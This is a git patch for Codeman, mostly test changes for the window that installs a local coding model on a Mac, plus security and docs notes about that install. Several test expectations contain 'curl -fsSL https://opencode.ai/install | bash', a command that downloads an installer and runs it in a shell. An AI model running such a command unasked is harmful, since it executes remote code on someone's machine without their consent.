agent is missing: the literal command its installer runs, and the folder. - expect(texts(body, '.lm-command')).toEqual(['curl -fsSL https://opencode.ai/install | bash', FOLDER]); - const asides = texts(body, '.lm-aside'); - expect(asides).toContain('Runs with OpenCode, at 131,072 tokens of context.'); - expect(asides).toContain('OpenCode is not on this Mac yet. Its own installer is run with this command:'); - expect(asides).toContain('No administrator password.'); - expect(asides).toContain(LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing); + expect(texts(body, '.lm-command')).toEqual(['curl -fsSL https://opencode.ai/install | bash']); + // Where it goes, in one line; the developer tools sentence as the one aside. + expect(texts(body, '.lm-path')).toEqual([FOLDER]); + expect(texts(body, '.lm-aside')).toEqual([LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing]); + // The promise sits beside the buttons. + expect(texts(frameOf(body), '.lm-foot-note')).toEqual(['No administrator password.']); expect(buttons(body)).toEqual(['Back', 'Download and install']); }); @@ -1113,8 +1138,9 @@ describe('the confirm screen', () => { const pick = candidate({ installBytes: 23105798956, installGb: '23.1', harnesses: [CLAUDE] }); await opened(page, status({ pick, alternatives: [] }, { runtime: RUNTIME_THERE, developerTools: 'present' })); press(page.body, 'Install on this Mac'); - expect(texts(page.body, '.lm-size-what')).toEqual(['Qwen3.6 35B-A3B', 'Total']); - expect(texts(page.body, '.lm-command')).toEqual([FOLDER]); + expect(texts(page.body, '.lm-size-name')).toEqual(['Qwen3.6 35B-A3B', 'Total']); + expect(texts(page.body, '.lm-command')).toEqual([]); + expect(texts(page.body, '.lm-path')).toEqual([FOLDER]); expect(page.body.textContent).not.toContain('developer tools'); expect(page.body.textContent).not.toContain('installer'); }); @@ -1131,7 +1157,7 @@ describe('the confirm screen', () => { await opened(page, IDLE); page.body.querySelectorAll<HTMLElement>('[role="radio"]')[1].click(); press(page.body, 'Install on this Mac'); - expect(texts(page.body, '.lm-model .lm-model-name')).toEqual(['Qwen3.8 27B']); + expect(texts(page.body, '.lm-size-name')[0]).toBe('Qwen3.8 27B'); press(page.body, 'Back'); expect(page.body.dataset.screen).toBe('choose'); expect(page.body.querySelector('[aria-checked="true"] .lm-model-name')!.textContent).toBe('Qwen3.8 27B'); @@ -1187,10 +1213,8 @@ describe('the consent', () => { const { app } = await opened(page, status({ pick: bare, alternatives: [] }), () => ok(INSTALLING.install)); press(page.body, 'Install on this Mac'); // No total the server formatted, so none is printed: bytes are never turned into a size here. - expect(texts(page.body, '.lm-size-what')).toEqual([ - 'Qwen3.6 35B-A3B', - 'Ollama 0.40.15, the program that runs the model', - ]); + expect(texts(page.body, '.lm-size-name')).toEqual(['Qwen3.6 35B-A3B', 'Ollama 0.40.15', 'OpenCode']); + expect(page.body.querySelector('.lm-size-total')).toBeNull(); press(page.body, 'Download and install'); await settle(); expect((verbs(app)[0][2] as { acknowledgedBytes: number }).acknowledgedBytes).toBe(23105798956 + RUNTIME_BYTES); @@ -1316,11 +1340,11 @@ describe('the consent', () => { press(page.body, 'Install on this Mac'); press(page.body, 'Download and install'); // While the request is in flight every button waits. - expect([...page.body.querySelectorAll<HTMLButtonElement>('.lm-buttons button')].map((el) => el.disabled)).toEqual([ + expect([...page.frame.querySelectorAll<HTMLButtonElement>('.lm-buttons button')].map((el) => el.disabled)).toEqual([ true, true, ]); - page.body.querySelectorAll<HTMLButtonElement>('.lm-buttons button')[1].click(); + page.frame.querySelectorAll<HTMLButtonElement>('.lm-buttons button')[1].click(); answer(ok(INSTALLING.install)); await settle(); expect(verbs(app)).toHaveLength(1); @@ -1404,14 +1428,19 @@ describe('the progress screen', () => { expect(texts(page.body, '.lm-figure-aside')).toEqual([aside]); }); - it('names the step when nothing is being downloaded, with the bar full once the model is in', async () => { + it('the bar is the model download alone: at the start while the runtime is fetched, gone once the model is in', async () => { const page = mount(); const { app, serve } = await opened( page, status({}, { ...JOB, state: 'installing', step: 'runtime', actions: ['cancel'], runtime: RUNTIME_MISSING }) ); - expect(texts(page.body, '.lm-figure')).toEqual(['Getting the runtime']); + // Nothing of the model has arrived: the size that is coming, from the row it was chosen on. + expect(texts(page.body, '.lm-figure')).toEqual(['0 of 23.1 GB']); expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('0'); + expect(texts(page.body, '.lm-aside')).toEqual([ + 'You can close this window. The download continues while Codeman is running.', + ]); + // The steps after the download have no bar and no second headline: the list says where it stands. for (const [step, label] of [ ['verify', 'Loading and checking'], ['agent', 'Installing OpenCode'], @@ -1419,9 +1448,13 @@ describe('the progress screen', () => { ] as const) { serve(status({}, { ...JOB, state: 'installing', step, actions: ['cancel'] })); await app.loadLocalModel({ force: true }); - expect(texts(page.body, '.lm-figure')).toEqual([label]); - expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('100'); - expect(texts(page.body, '.lm-figure-aside')).toEqual([]); + expect(page.body.querySelector('.lm-meter')).toBeNull(); + expect(texts(page.body, '.lm-figure')).toEqual([]); + expect(texts(page.body, '.lm-title')).toEqual(['Installing Qwen3.6 35B-A3B']); + expect(texts(page.body, '.lm-step-now')).toEqual([label]); + expect(texts(page.body, '.lm-aside')).toEqual([ + 'You can close this window. The install continues while Codeman is running.', + ]); } }); @@ -1437,7 +1470,7 @@ describe('the progress screen', () => { it('moves only the bar when a tick moved only the download: the button is not swapped under a click', async () => { const page = mount(); const { app, serve } = await opened(page, INSTALLING); - const cancel = page.body.querySelector('.lm-buttons button'); + const cancel = page.frame.querySelector('.lm-buttons button'); const steps = page.body.querySelector('ol.lm-steps'); serve( status( @@ -1454,7 +1487,7 @@ describe('the progress screen', () => { expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('50'); expect(page.body.querySelector<HTMLElement>('.lm-bar-fill')!.style.width).toBe('50%'); expect(page.body.querySelectorAll('.lm-meter')).toHaveLength(1); - expect(page.body.querySelector('.lm-buttons button')).toBe(cancel); + expect(page.frame.querySelector('.lm-buttons button')).toBe(cancel); expect(page.body.querySelector('ol.lm-steps')).toBe(steps); // A new step is a new picture. serve(status({}, { ...JOB, state: 'installing', step: 'verify', actions: ['cancel'] })); @@ -1475,7 +1508,7 @@ describe('a paused install', () => { // No speed and no time left on a download that is not running. expect(texts(body, '.lm-figure-aside')).toEqual([]); expect(texts(body, '.lm-step-stopped')).toEqual(['Downloading the model']); - expect(texts(body, '.lm-aside')).toEqual(['Nothing is downloaded until you continue.']); + expect(texts(body, '.lm-aside')).toEqual(['The download waits until you continue.']); expect(buttons(body)).toEqual(['Remove', 'Choose another model', 'Continue']); expect(verbs(app)).toEqual([]); press(body, 'Continue'); @@ -1533,10 +1566,15 @@ describe('a failure', () => { const page = mount(); const vars = { model: 'M', port: '11435', actual: '4096', wanted: '131072', cli: 'OpenCode', id: 'local-ollama' }; await opened(page, failed(code, vars)); - const title = texts(page.body, '.lm-title')[0]; - expect(title.length, code).toBeGreaterThan(20); - expect(title, code).not.toMatch(/[{}]/); - expect(title, code).not.toMatch(/sorry|apolog/i); + // The headline is the FIRST sentence; what follows is read in the body size. + const title = texts(page.body, '.lm-error .lm-title')[0]; + const rest = texts(page.body, '.lm-error .lm-lead').join(' '); + const whole = [title, rest].filter(Boolean).join(' '); + expect(whole.length, code).toBeGreaterThan(20); + expect(title, code).toMatch(/[.!?]$/); + expect(title.replace(/[^.!?]/g, '').length, code).toBeLessThanOrEqual(2); + expect(whole, code).not.toMatch(/[{}]/); + expect(whole, code).not.toMatch(/sorry|apolog/i); page.dom.window.close(); } }); @@ -1610,13 +1648,15 @@ describe('an installed model', () => { expect(texts(body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B is ready on this Mac.']); expect(texts(body, '.lm-state-text')).toEqual(['Running']); expect(body.querySelector('.lm-dot')!.classList.contains('lm-dot-on')).toBe(true); + // What it takes now, and what it can take, in the words of the chooser's legend: the + // row's own estimate, so the two figures are never read as a contradiction. expect(texts(body, '.lm-aside')).toEqual([ - 'Runs with OpenCode. Context 131,072 tokens. Takes 26.3 GB of memory when loaded, all on the GPU.', + 'Runs with OpenCode. Context 131,072 tokens. Takes 26.3 GB of memory now, and up to about 36 GB at its peak, with all of the context in use. All of it is on the GPU.', ]); expect(buttons(body)).toEqual(['Remove', 'Stop', 'Start a session']); // One main action. - expect(body.querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); - expect(body.querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Start a session'); + expect(frameOf(body).querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); + expect(frameOf(body).querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Start a session'); }); it('says the one honest sentence about git and Python only on a Mac without developer tools', async () => { @@ -1640,7 +1680,7 @@ describe('an installed model', () => { expect(texts(page.body, '.lm-state-text')).toEqual(['Stopped']); expect(page.body.querySelector('.lm-dot')!.classList.contains('lm-dot-on')).toBe(false); expect(buttons(page.body)).toEqual(['Remove', 'Start']); - expect(page.body.querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Start'); + expect(page.frame.querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Start'); press(page.body, 'Start'); await settle(); expect(verbs(app)).toEqual([ @@ -1684,7 +1724,7 @@ describe('an installed model', () => { const { app } = await opened(page, answer, () => ok(INSTALLED.install)); expect(texts(page.body, '.lm-error .lm-title')).toEqual([sentence]); expect(buttons(page.body)).toEqual(labels); - expect(page.body.querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); + expect(page.frame.querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); press(page.body, labels[1]); await settle(); expect(verbs(app)).toEqual([['POST', '/api/local-model/runtime', body]]); @@ -1705,13 +1745,19 @@ describe('an installed model', () => { } ); await opened(page, answer); - expect(texts(page.body, '.lm-error .lm-title')).toEqual([ - 'The model on this Mac changed since it was installed. Remove it and install it again.', - ]); - // No session can start, so that button is not there. + // The sentence is the headline (not "is ready"), its second sentence in the body size. + expect(texts(page.body, '.lm-title')).toEqual(['The model on this Mac changed since it was installed.']); + expect(texts(page.body, '.lm-error .lm-lead')).toEqual(['Remove it and install it again.']); + // The dot is not green: a session cannot be started. The state line names the model. + expect(page.body.querySelector('.lm-dot')!.classList.contains('lm-dot-on')).toBe(false); + expect(texts(page.body, '.lm-state-text')).toEqual(['Qwen3.6 35B-A3B, Running']); + // No session can start, so that button is not there. Remove never takes the accent. expect(buttons(page.body)).toEqual(['Stop', 'Remove']); + expect(page.frame.querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(0); press(page.body, 'Remove'); - expect(texts(page.body, '.lm-remove .lm-lead')).toEqual(['Remove the local model from this Mac?']); + expect(texts(page.frame, '.lm-remove .lm-lead')).toEqual(['Remove the local model from this Mac?']); + // In its question the removal is red. + expect(page.frame.querySelector('.lm-remove .wt-btn-danger')!.textContent).toBe('Remove'); }); it('starts a session on the saved connection with the agent of the install, after refreshing the page', async () => { @@ -1754,7 +1800,7 @@ describe('Remove', () => { press(page.body, 'Remove'); // The question, in place of the buttons. Nothing was sent. expect(verbs(app)).toEqual([]); - const question = page.body.querySelector('.lm-remove')!; + const question = page.frame.querySelector('.lm-remove')!; expect(texts(question, '.lm-lead')).toEqual(['Remove the local model from this Mac?']); expect(texts(question, '.lm-check span')).toEqual(['Also delete the downloaded model']); expect(texts(question, '.lm-aside')).toEqual(['The coding agent stays installed.']); @@ -1770,10 +1816,10 @@ describe('Remove', () => { const { app } = await opened(page, INSTALLED, () => ok(install())); press(page.body, 'Remove'); press(page.body, 'Cancel'); - expect(page.body.querySelector('.lm-remove')).toBeNull(); + expect(page.frame.querySelector('.lm-remove')).toBeNull(); expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); press(page.body, 'Remove'); - const box = page.body.querySelector<HTMLInputElement>('.lm-remove input[type="checkbox"]')!; + const box = page.frame.querySelector<HTMLInputElement>('.lm-remove input[type="checkbox"]')!; box.checked = false; box.dispatchEvent(new page.dom.window.Event('change')); press(page.body, 'Remove'); @@ -1806,7 +1852,7 @@ describe('Remove', () => { press(page.body, 'Remove'); await settle(); expect(page.body.dataset.screen).toBe('installed'); - expect(texts(page.body, '.lm-notice-text')).toEqual([ + expect(texts(page.frame, '.lm-notice-text')).toEqual([ 'Sessions are still using this model: w1-app, w2-site. Close them first.', ]); // Still the question: the person can close the sessions and press Remove again. @@ -1818,7 +1864,7 @@ describe('Remove', () => { const page = mount(); const { app } = await opened(page, answer, () => ok(install())); press(page.body, 'Remove'); - expect(texts(page.body, '.lm-remove .lm-lead')).toEqual(['Remove the local model from this Mac?']); + expect(texts(page.frame, '.lm-remove .lm-lead')).toEqual(['Remove the local model from this Mac?']); press(page.body, 'Remove'); await settle(); expect(verbs(app)).toEqual([['DELETE', '/api/local-model', { removeModel: true }]]); @@ -1835,19 +1881,19 @@ describe('no recommendation', () => { 'intel', none('intel', undefined, { arch: 'x64', arm64: false, chip: 'Intel(R) Core(TM) i7-9750H', memClassGb: 16 }), 'Intel(R) Core(TM) i7-9750H, 16 GB memory, 897 GB free', - 'This Mac has an Intel processor. Local coding models need Apple silicon.', + 'Local coding models need Apple silicon, and this Mac has an Intel processor.', ], [ 'memory', none('memory', { memory: '8' }, { memGb: '8.6', memClassGb: 8, chip: 'Apple M2', freeDiskGb: '41.3' }), 'Apple M2, 8 GB memory, 41.3 GB free', - 'This Mac has 8 GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + 'With 8 GB of memory, this Mac cannot run a model that can drive a coding agent.', ], [ 'disk', - none('disk', { download: '6.6', reserve: '10.7', free: '12.0', missing: '5.3' }, { freeDiskGb: '12.0' }), + none('disk', { missing: '5.3' }, { freeDiskGb: '12.0' }), 'Apple M5 Pro, 48 GB memory, 12.0 GB free', - 'Not enough free disk space. The smallest model that fits this Mac is a 6.6 GB download, and 10.7 GB must stay free after it. 12.0 GB is free now. Free up about 5.3 GB.', + 'Free up about 5.3 GB of disk space to install the smallest model that fits this Mac.', ], ] as Array<[string, LocalModelStatus, string, string]>)( 'opens with the hardware line, the reason and no button except Close: %s', @@ -1944,14 +1990,20 @@ describe('the poll', () => { it('follows the install from the download to the end without a click', async () => { const page = mount(); - const { serve } = await opened(page, INSTALLING); + const { app, serve } = await opened(page, INSTALLING); expect(page.body.dataset.screen).toBe('progress'); serve(INSTALLED); await page.tick(); expect(page.body.dataset.screen).toBe('installed'); - expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + // The screen that ends an install has one button. Stop and Remove are for the window + // opened later. + expect(buttons(page.body)).toEqual(['Start a session']); // The focus goes to the main action of the new screen, inside the dialog. expect(page.document.activeElement?.textContent).toBe('Start a session'); + // Opened again, the same model has its Stop and Remove. + app.closeLocalModelWindow(); + app.openLocalModelWindow(); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); }); }); @@ -1990,8 +2042,9 @@ describe('what the server sends is shown as text', () => { expect(texts(page.body, '.lm-notes .lm-aside')[0]).toContain(HOSTILE); press(page.body, 'Install on this Mac'); clean(page); - expect(texts(page.body, '.lm-command')).toEqual([`run ${HOSTILE}`, `/tmp/${HOSTILE}`]); - expect(page.body.textContent).toContain(`Agent ${HOSTILE} is not on this Mac yet.`); + expect(texts(page.body, '.lm-command')).toEqual([`run ${HOSTILE}`]); + expect(texts(page.body, '.lm-path')).toEqual([`/tmp/${HOSTILE}`]); + expect(texts(page.body, '.lm-size-name')).toContain(`Agent ${HOSTILE}`); // The row and the button on the welcome screen too. expect(page.row.textContent).toContain(HOSTILE); clean(page); @@ -2042,7 +2095,7 @@ describe('what the server sends is shown as text', () => { press(page.body, 'Remove'); press(page.body, 'Remove'); await settle(); - expect(texts(page.body, '.lm-notice-text')[0]).toContain(HOSTILE); + expect(texts(page.frame, '.lm-notice-text')[0]).toContain(HOSTILE); expect(page.row.textContent).toContain(HOSTILE); clean(page); }); @@ -2068,7 +2121,7 @@ describe('in another language', () => { expect(buttons(page.body)).toEqual(['安装到此 Mac']); expect(page.button.textContent!.trim()).toBe('运行本地模型'); expect(texts(page.row, '.set-row-label')).toEqual(['尚未安装模型']); - expect(texts(page.body, '.lm-figure')).toEqual(['约需 36.0 GB 内存,共 37.6 GB 可用']); + expect(texts(page.body, '.lm-figure')).toEqual(['约需 36 GB 内存,共 38 GB 可用']); // Names are someone else's text and stay as sent; the server's tag is translated. expect(texts(page.body, '.lm-model-name')[0]).toBe('Qwen3.6 35B-A3B'); expect(texts(page.body, '.lm-tag')[0]).toBe('已在同类 Mac 上测试'); @@ -2167,3 +2220,99 @@ describe('the module keeps to its rules', () => { expect(verbs(app)).toEqual([['POST', '/codeman/api/local-model/cancel', undefined]]); }); }); + +// ---------- After the review: the order of the rows, the words of a tight pick, a refusal's sentence, a start that failed ---------- + +describe('the rows of the chooser are ordered by a column the reader can see', () => { + it('the pick first, then the other models by download size, largest first, whatever order the server sent', async () => { + const page = mount(); + // The server's own order of the alternatives is its ranking, which no column shows. + await opened(page, status({ alternatives: [ALT_SMALL_Q8, ALT_SMALL, ALT_UNKNOWN, ALT_SLOW] })); + const rows = [...page.body.querySelectorAll('[role="radio"]')]; + expect(rows.map((row) => row.querySelector('.lm-model-name')!.textContent)).toEqual([ + 'Qwen3.6 35B-A3B', + 'Qwen3.8 27B', + 'GPT-OSS 20B', + 'Qwen3.5 9B (Q8)', + 'Qwen3.5 9B', + ]); + expect(rows.map((row) => row.querySelector('.lm-model-size')!.textContent)).toEqual([ + '23.1 GB', + '17.7 GB', + '13.8 GB', + '10.4 GB', + '6.6 GB', + ]); + // The arrow keys walk the drawn order. + const group = page.body.querySelector('[role="radiogroup"]')!; + group.dispatchEvent(new page.dom.window.KeyboardEvent('keydown', { key: 'ArrowDown', bubbles: true })); + expect(page.body.querySelector('[aria-checked="true"] .lm-model-name')!.textContent).toBe('Qwen3.8 27B'); + }); + + it('a pick that only just fits says so in its tag, in the accent like every tag of the pick', async () => { + const page = mount(); + const tightPick = candidate({ + tested: false, + tag: { kind: 'best-tight', label: LOCAL_MODEL_TAG_LABELS['best-tight'] }, + }); + await opened(page, status({ pick: tightPick, alternatives: [ALT_SMALL] })); + const tag = page.body.querySelector('[aria-checked="true"] .lm-tag')!; + expect(tag.textContent).toBe('Best fit, tight'); + expect(tag.classList.contains('lm-tag-accent')).toBe(true); + expect(page.body.querySelector('.lm-bar')!.getAttribute('aria-valuenow')).toBe('96'); + }); +}); + +describe('a refusal the server names', () => { + it('is printed from its sentence and slots, not from the English error text', async () => { + const page = mount({ i18n: true }); + const { app } = await opened(page, IDLE, () => ({ + ok: false, + status: 400, + json: async () => ({ + success: false, + error: 'OpenCode is not installed and cannot be installed from here.', + errorCode: 'INVALID_INPUT', + data: { message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } } }, + }), + })); + page.win.CodemanI18n.configure({ language: 'zh-CN' }); + await settle(); + press(page.body, '安装到此 Mac'); + press(page.body, '下载并安装'); + await settle(); + expect(texts(page.body, '.lm-notice-text')).toEqual(['OpenCode 尚未安装,也无法从这里安装。']); + expect(page.body.textContent).not.toContain('cannot be installed from here'); + app.closeLocalModelWindow(); + }); +}); + +describe('an installed model whose runtime did not start', () => { + it('says what the runtime said as the headline, keeps the dot grey, and Start tries again', async () => { + const page = mount(); + const answer = status( + {}, + { + ...INSTALLED.install, + running: false, + actions: ['start', 'remove'], + error: { + code: 'runtime-start-failed', + message: { text: LOCAL_MODEL_ERROR_LABELS['runtime-start-failed'] }, + // The server adapts the next step to the state: Start, not "try again". + next: 'start', + detail: 'spawn ENOENT', + }, + } + ); + const { app } = await opened(page, answer, () => ok(INSTALLED.install)); + expect(texts(page.body, '.lm-title')).toEqual(['The runtime did not start on this Mac.']); + expect(page.body.querySelector('.lm-dot')!.classList.contains('lm-dot-on')).toBe(false); + expect(page.body.querySelector('.lm-detail-text')!.textContent).toBe('spawn ENOENT'); + expect(buttons(page.body)).toEqual(['Remove', 'Start']); + expect(page.frame.querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Start'); + press(page.body, 'Start'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/runtime', { action: 'start' }]]); + }); +}); From 0a8ab84ea140382f8b513199cf73a2d74947e3c8 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 23:55:02 +0100 Subject: [PATCH 23/28] docs(local-model): name every covered launch path, both install executors, and the port without a login The runner header says what each caller passes (the job: the compiled stock command; the route: the merged entry, behind cliManagementEnabled). docs/cli-registry.md names both executors in its trust boundary. The security architecture gains a section on the pinned runtime and its hash, the loopback port without a login and the digest check, and the install path without cliManagementEnabled; SECURITY.md lists the port as a known limitation. The guides and the rules name exactly the paths the launch guard covers, the session that keeps calling a stopped runtime's port, the claim before the connect writes, and the outcome kept in memory. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- .github/SECURITY.md | 1 + CLAUDE.md | 2 +- docs/api-reference.md | 6 +++--- docs/cli-registry.md | 4 ++-- docs/local-models.md | 14 +++++++++++++- docs/security-architecture.md | 9 +++++++++ src/cli-install-runner.ts | 13 ++++++++++--- src/web/CLAUDE.md | 2 +- 8 files changed, 40 insertions(+), 11 deletions(-) diff --git a/.github/SECURITY.md b/.github/SECURITY.md index db062166..f97d2c13 100644 --- a/.github/SECURITY.md +++ b/.github/SECURITY.md @@ -69,6 +69,7 @@ shared-host, multi-user, or tunneled deployments. - **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values. - **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5. +- **The local model runtime listens on a loopback port with no login.** The model server the local model install starts (macOS only, opt-in by a click) accepts requests from any process of any account on the Mac, and from any page served from `localhost`, like every model server of its kind. Codeman limits what that buys (one model in the endpoint record, a digest check before an agent is started on it) but does not authenticate the port. See `docs/security-architecture.md` §10d. - **The web-tab proxy fetches from the server's network position.** Any authenticated user can save a dashboard URL on loopback or a private range and have Codeman relay to it; that is the feature. Link-local and cloud-metadata addresses are the only refused targets (see below). On a shared host, restrict who holds an account. Recent hardening (2026-09-04): the web-tab proxy, its "Test" probe and its diff --git a/CLAUDE.md b/CLAUDE.md index 5ad992e3..655cffa8 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -193,7 +193,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph **Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md` -**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before EVERY session start on that endpoint (`launchRefusalMessage()`, asked by both custom-model launch paths in `session-routes.ts`): a changed or missing model, a runtime Codeman did not start, or another model id refuses the launch with one sentence. ⚠️ Remove (409 `sessions-open` with the names while a live session uses the endpoint) undoes the connection FIRST, restores the flag only when this feature switched it on AND no other endpoint is saved, deletes only inside `local-model/` (the models only when asked), and leaves the coding agent. ⚠️ Developer tools: only `/usr/bin/xcode-select -p`, bounded; never `git`/`python3`/`xcrun` from the server (each opens a system window on such a Mac). Tests: `test/local-model-install-job.test.ts` (every state with every event), `-install-service`, `-install-e2e` (real modules over `test/fixtures/fake-ollama.ts`), `-state-store`, `-connect`, `test/cli-install-runner.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`. → [architecture-invariants#local-model-install](docs/architecture-invariants.md#local-model-install), `docs/local-models.md`, `docs/api-reference.md` (Local model) +**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin 